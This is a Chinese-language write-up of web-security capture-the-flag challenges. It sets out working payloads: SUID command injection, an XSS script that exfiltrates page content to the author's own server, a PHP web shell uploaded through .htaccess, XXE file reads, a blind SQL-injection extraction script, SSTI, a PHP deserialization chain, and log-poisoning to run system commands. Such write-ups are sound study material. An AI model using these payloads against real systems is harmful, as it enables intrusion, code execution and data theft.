Web 部分题解

Linux之旅

发现权限不够,要 root

查 SUID:

find / -perm -4000 -type f 2>/dev/null
# /usr/local/bin/pingx
# /usr/bin/su
# /usr/bin/sudo
# ...

这里发现了不知名文件名 pingx

解释下 SUID 提权的原因:

有 SUID 的文件,无论谁去执行,都默认以文件属主(通常是 root)的身份去运行:

ls -la /usr/local/bin/pingx
# -rwsr-xr-x 1 root root 16376

进行了空格和 flag 关键词的过滤,绕过:

pingx '127.0.0.1;cat${IFS}/fla*'

仓库中的圈套

git 泄露,用 git-dumper 爬下来:

git-dumper url ./

随后通法:

git log --all --oneline --decorate

git show 5769cfc

发现 secret.php:

<?php

highlight_file(__FILE__);

$flag = getenv("FLAG");

    if ( "admin" == $_GET['cytcv'] && /*⁦⁩*/ "bmkfd⁩ncd" == $_GET['⁦fguyfnk⁩kef']){


            echo $flag;

}

?>

这里看到 /**/ 猜测有不可见字符

在 python 中可以看到:

>>> \u2066fguyfnk\u2069kef
  File "<python-input-2>", line 1
    ⁦fguyfnk⁩kef
    ^
SyntaxError: invalid non-printable character U+2066
>>> bmkfd\u2069ncd

处理方法:node 中执行

encodeURIComponent("\u2066")

随后把结果直接拼接进去就行,最终 exp:

/secret.php?cytcv=admin&%E2%81%A6fguyfnk%E2%81%A9kef=bmkfd%E2%81%A9ncd

茉莉蜜茶

随便尝试登录发现给了个 cookie,尝试伪造后发现被 waf 了

尝试编码绕过:

O:12:"Session\User":1:{s:8:"username";S:5:"\61\64\6d\69\6e";}

php 的 S hex 进制绕过

PKWSEC头像更新

抓包看到是 nginx,尝试下 .user.ini,随后成功

小虎鲸大冒险

<?php
$pass1 = isset($_GET["ticket"])
    && empty($_GET["ticket"])
    && $_GET["ticket"] !== "";

$pass2 = isset($_GET["depth"])
    && strlen($_GET["depth"]) <= 4
    && $_GET["depth"] > 1000;

$pass3 = isset($_POST["song"])
    && md5($_POST["song"]) == 0;

if ($pass1 && $pass2 && $pass3) {
    echo "小虎鲸成功回家!";
    echo $flag;
} else {
    echo "小虎鲸还没有通过三关。";
}

第一个 empty 会将:

  • ""(空字符串)
  • "0"(字符串零)
  • 0(整数零)
  • null
  • false
  • [](空数组)
    都视为空,都会返回 true

由此我们传入 ticket=0 即可

其余的用科学计数法和md5绕过即可

小虎鲸的银行账户

一个 CSRF

转钱的时候看到的一些接口和参数:

/transfer/do?to=xxx&amount=xxx

并且我们可以让小虎鲸去访问我们的 url

http://8000-f11e96cf-990e-4aa2-90b7-19c8bf6dd25f.challenge.ctfplus.cn/transfer/do?to=111&amount=888888

有了钱后购买即可

元素属性

把 disabled 删了即可

隐藏留言

登录进去后看到管理员 id 为:b2c3d4e5-f6a7-4b8c-9d0e-1f2a3b4c5d6e

这里只对单条登录接口做了校验,对多条没有任何校验,存在未授权:

curl -X POST \
  -H "Content-Type: application/json" \
  -d '{"message_ids":["b2c3d4e5-f6a7-4b8c-9d0e-1f2a3b4c5d6e"]}' \
  http://8080-d97fce20-ff08-4466-aa28-6c6a501db268.challenge.ctfplus.cn/api/MGetMessages

得到:

{
  "code": 0,
  "data": {
    "messages": [
      {
        "content": "系统维护记录:今晚升级了留言板后端。\n后台管理密钥:PKWCTF{e064e22b-fa28-462b-8619-6017c37f333b}\n记得保密,别让小喵看到啦喵。",
        "id": "b2c3d4e5-f6a7-4b8c-9d0e-1f2a3b4c5d6e",
        "is_private": 1,
        "user_id": 1,
        "username": "admin"
      }
    ]
  },
  "msg": "success"
}

客服工作台

xss 注入,提示的很明显了,用自己的 vps 在 80 端口开个监听:

sudo python3 -m http.server 80

要访问的是 /agent 随后注入 xss:

<script>
fetch('/agent')
  .then(r => r.text())
  .then(d => new Image().src =
    'http://vps地址/?d=' + encodeURIComponent(d))
</script>

随后拿到 /agent 的源码,在源码内即有 flag

mio上传

可以上传 .htaccess

里面直接指定特定文件后缀为 php 文件执行即可:

.htaccess:
AddHandler application/x-httpd-php .gif

cmd.gif
<?php echo shell_exec($_GET["c"]);?>

mio空间

扫目录发现个字典,去爆破得到密码登录进去拿到 flag

4048

js:

function checkWin() {
    if (winFlagShown) return;
    if (score === 4048) {
        winFlagShown = true;
        statusBadge.textContent = document.querySelector('#winModal h2').textContent;
        statusBadge.style.color = '#ffd700';
        showWinModal();
        const ENCODED_FLAG = '0x50, 0x4b, 0x57, 0x43, 0x54, 0x46, 0x7b, 0x33, 0x63, 0x35, 0x30, 0x30, 0x64, 0x37, 0x36, 0x2d, 0x36, 0x62, 0x32, 0x66, 0x2d, 0x34, 0x39, 0x34, 0x37, 0x2d, 0x38, 0x38, 0x38, 0x37, 0x2d, 0x39, 0x38, 0x62, 0x66, 0x65, 0x38, 0x34, 0x33, 0x37, 0x33, 0x65, 0x61, 0x7d';
        const byteStrArr = ENCODED_FLAG.split(',').map(s => s.trim().replace(/^0x/,''));
        const realHex = byteStrArr.join('');
        const decoded = window.__Jsfuck.decode(realHex);
        console.log('score = 4048,Flag :', decoded);
        flagDisplay.textContent = decoded;
        modalOverlay.classList.add('active');
    }
}
0x50=P 0x4b=K 0x57=W 0x43=C 0x54=T 0x46=F 0x7b={
0x33=3 0x63=c 0x35=5 0x30=0 0x30=0 0x64=d 0x37=7 0x36=6
0x2d=- 0x36=6 0x62=b 0x32=2 0x66=f 0x2d=-
0x34=4 0x39=9 0x34=4 0x37=7 0x2d=-
0x38=8 0x38=8 0x38=8 0x37=7 0x2d=-
0x39=9 0x38=8 0x62=b 0x66=f 0x65=e 0x38=8 0x34=4 0x33=3 0x37=7 0x33=3 0x65=e 0x61=a 0x7d=}

拼接后拿到 flag

probe

尝试多个请求方法,试到 put:

┌──(only㉿only)-[/mnt/c/Users/only]
└─$ curl -X PUT -i http://80-78c9bf72-c47c-4d83-b2c2-0e86f1161895.challenge.ctfplus.cn/
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Date: Mon, 12 Oct 2026 12:48:57 GMT
Server: Apache/2.4.65 (Debian)
Vary: Accept-Encoding
Transfer-Encoding: chunked

<!-- Step 3: POST /probe -->Good. Now carry your identity to the probe.Your identity is probe_identity:PROBE_2026. Come to /probe via POST.<br><br><!-- Hint: X-Pkw-Auth: iamadmin -->Hint: Admins carry a special <b>X-Pkw-Auth</b> header to pass the probe.

好像跳关了

给了提示后直接发包就行:

POST /probe HTTP/1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/154.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: _ga=GA1.1.1373982497.1789868187; _clck=1ewdtso%5E2%5Ega8%5E0%5E2454; _clsk=7yfg04%5E1791809189838%5E30%5E1%5Ep.clarity.ms%2Fcollect; _ga_BFDVYZJ3DE=GS2.1.s1791805952$o16$g1$t1791809218$j58$l0$h0;probe_identity=PROBE_2026
X-Pkw-Auth: iamadmin

魔术链

<?php  
  
class Logger {  
    public $logFile;  
    public $content;  
  
    public function __destruct() {        file_put_contents($this->logFile, $this->content);  
    }  
}  
  
class Database {  
    public $handler;  
  
    public function __toString() {  
        return $this->handler->query();  
    }  
}  
  
class Admin {  
    public $command;  
  
    public function __call($name, $args) {  
        return system($this->command);  
    }  
}  
  
if (isset($_GET['data'])) {  
    @unserialize(base64_decode($_GET['data']));  
}  
  
?>

最终要到 Admin 的 __call

链子:

Logger -> Database -> Admin

第一步的时候我们是的 content 的参数是 Database 这个对象即可

<?php
class Logger {
    public $logFile;
    public $content;
}
class Database {
    public $handler;
}
class Admin {
    public $command;
}

$admin = new Admin();
$admin->command = 'ls /;env';

$db = new Database();
$db->handler = $admin;

$logger = new Logger();
$logger->logFile = 'x';
$logger->content = $db;

echo base64_encode(serialize($logger));

纸上谈兵

xxe:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<register>
    <name>&xxe;</name>
    <phone>10086</phone>
    <note>第一次登记,请多关照。</note>
</register>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag"> ]>

PKW学院

按照接口去找即可拿到 flag

丢标的报价

布尔盲注

判断注入是否存在
→ 提取当前数据库名 DATABASE()
→ 提取数据库版本 VERSION()
→ 查 information_schema.tables 里的表数量
→ 逐个提取表名
→ 对 secret_bids 表查行数
→ 逐字段提取 secret_bids 的 id / project / bid_price
→ 其中 bid_price 里就是 flag

脚本:

import time
import requests

URL = "http://8080-9f236dc9-195b-4a5d-874b-d367dfeb4127.challenge.ctfplus.cn/"
PARAM = "project"
YES_MARK = "result hit"

session = requests.Session()


def oracle(condition: str) -> bool:
    payload = f"1 AND {condition}"

    for _ in range(3):
        r = session.get(URL, params={PARAM: payload}, timeout=15)
        if r.status_code == 200:
            return YES_MARK in r.text
        time.sleep(0.2)

    raise RuntimeError(f"oracle failed: {payload}")


def scalar_bool(expr: str) -> bool:
    return oracle(f"(SELECT {expr})")


def scalar_num(expr: str, lo: int = 0, hi: int = 1_000_000) -> int:
    if not scalar_bool(f"({expr}) >= 0"):
        raise ValueError(f"not numeric/NULL: {expr}")

    while lo < hi:
        mid = (lo + hi) // 2
        if scalar_bool(f"({expr}) > {mid}"):
            lo = mid + 1
        else:
            hi = mid

    return lo


def scalar_string(expr: str, max_len: int = 1024) -> str:
    binary_expr = f"CONVERT({expr} USING binary)"

    n = scalar_num(f"LENGTH({binary_expr})", 0, max_len)
    out = bytearray()

    for pos in range(1, n + 1):
        lo, hi = 0, 255
        while lo < hi:
            mid = (lo + hi) // 2
            cond = f"ORD(MID({binary_expr}, {pos}, 1)) > {mid}"
            if oracle(cond):
                lo = mid + 1
            else:
                hi = mid
        out.append(lo)

    return out.decode("utf-8", errors="replace")


def main():
    print("[*] database:", scalar_string("DATABASE()"))
    print("[*] version :", scalar_string("VERSION()"))

    print("[*] tables:")
    table_count = scalar_num(
        "(SELECT COUNT(*) FROM information_schema.tables "
        "WHERE table_schema=DATABASE())"
    )

    for i in range(table_count):
        table_name = scalar_string(
            "(SELECT table_name FROM information_schema.tables "
            f"WHERE table_schema=DATABASE() LIMIT {i},1)"
        )
        print(f"  [{i}] {table_name}")

    print("[*] secret_bids rows:")
    row_count = scalar_num("(SELECT COUNT(*) FROM secret_bids)")

    for i in range(row_count):
        row_id = scalar_string(f"(SELECT id FROM secret_bids LIMIT {i},1)")
        project = scalar_string(f"(SELECT project FROM secret_bids LIMIT {i},1)")
        bid_price = scalar_string(f"(SELECT bid_price FROM secret_bids LIMIT {i},1)")
        print(f"  [{i}] id={row_id!r} project={project!r} bid_price={bid_price!r}")


if __name__ == "__main__":
    main()

教务系统

查询接口:

http://3000-9376c629-ddd7-46a5-b988-c6408e119050.challenge.ctfplus.cn/api/profile/view?id=1

把 id 改为 30 即可看到:

{"code":0,"profile":{"id":30,"name":"赵铁柱","nickname":"1","id_card":"11010120071030730","address":"海淀区学院路130号","note":"PKWCTF{0c76687a-6e84-4 ——我是30号学长。毕业前我发现:教师端有个「账号管理」功能,可以重置任意账号的密码,但那个功能好像只是前端把入口藏起来了,后端到底拦没拦我不清楚……我毕业了没法再试,你们帮我试试?对了,王老师的工号是 T001。","graduated":1}}

教师密码重置接口没有做鉴权,学生重置密码后拿到教师身份:

POST /api/teacher/resetPwd

随后暴露后半段 flag

PKWSEC 员工名录

sillybird" uniunionon select 1,2,schema_name,4 from infoorrmation_schema.schemata-- -
-- 发现目标库:ctf

sillybird" uniunionon select 1,2,table_name,4 from infoorrmation_schema.tables where table_schema="ctf"-- -
-- 发现表:confidential_docs

sillybird" uniunionon select 1,2,column_name,4 from infoorrmation_schema.columns
  where table_schema="ctf" anandd table_name="confidential_docs"-- -
-- 字段:id, doc_title, doc_secret

sillybird" uniunionon select 1,2,group_concat(doc_title," -> ",doc_secret separatoorr " ;; "),4
  from ctf.confidential_docs-- -
-- 结果:员工名录(未脱敏) -> PKWCTF{9375cfbb-0178-45b8-9596-370c29aba55c}

燕园论坛

ssti 没过滤

{{ lipsum.__globals__["__builtins__"].open("/challenge/flag").read() }}

老机房的遗留系统

宽字节注入:

%bf' union select 1,(select group_concat(deal_name,0x3d,amount) from secret_deals),3,4-- -

一券难求

实际问题是我们领券的时候,后端信任我们账户的 XFF

更改 XFF 即可领取多张券去购买 flag 即可(需并发去尝试)

小虎鲸的文档库

可以发现 docs.php 可以接受一个 file 参数去尝试去进行文件包含

尝试 docs.php?file=docs/intro.php 成功返回文档

随后就是对文件包含的尝试了,最终尝试到日志注入:

/docs.php?file=docs/../../../../var/log/apache2/error.log

我们可以去尝试访问一个根本不存在的路径,从而把我们的马写入到日志中去执行:

GET /<?php system("env");?>1134f.php

随后我们再去包含错误日志文件即可拿到 flag(flag 在 env 里面)